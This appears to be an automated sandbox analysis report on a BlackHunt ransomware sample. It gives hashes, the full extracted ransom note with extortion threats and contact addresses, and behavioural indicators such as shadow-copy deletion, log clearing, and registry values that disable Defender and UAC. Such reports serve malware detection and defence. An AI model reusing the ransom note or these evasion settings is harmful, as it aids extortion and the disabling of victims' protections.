5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327

Analysis

max time kernel
180s
max time network
191s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
18/01/2024, 23:31

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General

Target

5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
Size

707KB
MD5

364363fb3c067c43f9d67a0a3e554b62
SHA1

6433bd0f3542bfb9dc533068c761b74f937b225a
SHA256

5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327
SHA512

629d2165b04193e73fefc0e6dfa5ee78d41ffc695f3489b3afcc775edf6f73a5cf47fc1307c7aca3c4fcabc6f3e8a767f514f1bb44c03cfb7686cb94013672a7
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1Q8svnh:6uaTmkZJ+naie5OTamgEoKxLWjyh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> yD1U40lsalQwPqI1 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1392	fsutil.exe
5896	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3116	wevtutil.exe
5696	wevtutil.exe
5368	wevtutil.exe
5356	wevtutil.exe
3104	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2448	bcdedit.exe
5724	bcdedit.exe
5748	bcdedit.exe
3380	bcdedit.exe

Renames multiple (116) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5208	wbadmin.exe
5828	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\H:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\V:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\X:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\Q:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\T:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\U:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\G:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\E:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\A:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\S:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\K:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\P:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\B:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\O:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\Z:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\J:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\L:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\N:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\W:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\R:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\Y:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened (read-only)	\??\M:	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\7-Zip\Lang\vi.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\AssertConvertFrom.rar	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jre-1.8\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\BlockLock.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\ExitBlock.dwg	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ps.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\BlockHide.vsdx	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\7-Zip\Lang\bg.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\dotnet\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
